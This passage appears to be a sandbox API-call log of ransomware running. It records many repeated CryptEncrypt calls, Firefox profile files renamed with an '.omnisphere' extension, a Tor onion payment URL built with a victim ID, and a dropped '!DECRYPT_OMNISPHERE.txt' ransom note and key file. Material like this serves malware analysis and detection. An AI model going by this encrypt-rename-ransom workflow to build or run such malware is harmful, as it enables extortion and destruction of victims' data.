returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.597] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.598] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.599] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.601] CryptDestroyKey (hKey=0x16396a8) returned 1 [0158.601] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0158.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0158.601] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0158.602] GetProcessHeap () returned 0x1600000 [0158.602] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x1745448 [0158.602] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere")) returned 1 [0158.603] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere.id" [0158.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.604] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0158.605] CloseHandle (hObject=0x388) returned 1 [0158.605] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0158.606] CloseHandle (hObject=0x3c0) returned 1 [0158.606] SetEndOfFile (hFile=0x288) returned 1 [0158.606] FlushFileBuffers (hFile=0x288) returned 1 [0158.689] CloseHandle (hObject=0x288) returned 1 [0158.690] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0158.690] GetProcessHeap () returned 0x1600000 [0158.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1746738 [0158.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0158.690] GetProcessHeap () returned 0x1600000 [0158.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734058 [0158.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734058, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0158.690] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0158.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.690] GetProcessHeap () returned 0x1600000 [0158.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726958 [0158.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726958, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0158.690] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0158.690] GetProcessHeap () returned 0x1600000 [0158.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172fe48 [0158.690] PathCombineW (in: pszDest=0x172fe48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0158.690] GetProcessHeap () returned 0x1600000 [0158.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1737a18 [0158.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.691] WriteFile (in: hFile=0x288, lpBuffer=0x1737a18*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1737a18*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0158.691] CloseHandle (hObject=0x288) returned 1 [0158.691] GetProcessHeap () returned 0x1600000 [0158.691] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746738 | out: hHeap=0x1600000) returned 1 [0158.691] GetProcessHeap () returned 0x1600000 [0158.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0158.692] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0158.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.692] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0158.692] CloseHandle (hObject=0x288) returned 1 [0158.692] GetProcessHeap () returned 0x1600000 [0158.692] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0158.692] GetProcessHeap () returned 0x1600000 [0158.692] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0158.692] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x901d0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="favicons.sqlite-wal", cAlternateFileName="FAVICO~2.SQL")) returned 1 [0158.692] GetProcessHeap () returned 0x1600000 [0158.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0158.693] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="favicons.sqlite-wal" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" [0158.693] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite-wal") returned 0x0 [0158.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.693] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=590288) returned 1 [0158.693] SetFilePointerEx (in: hFile=0x288, 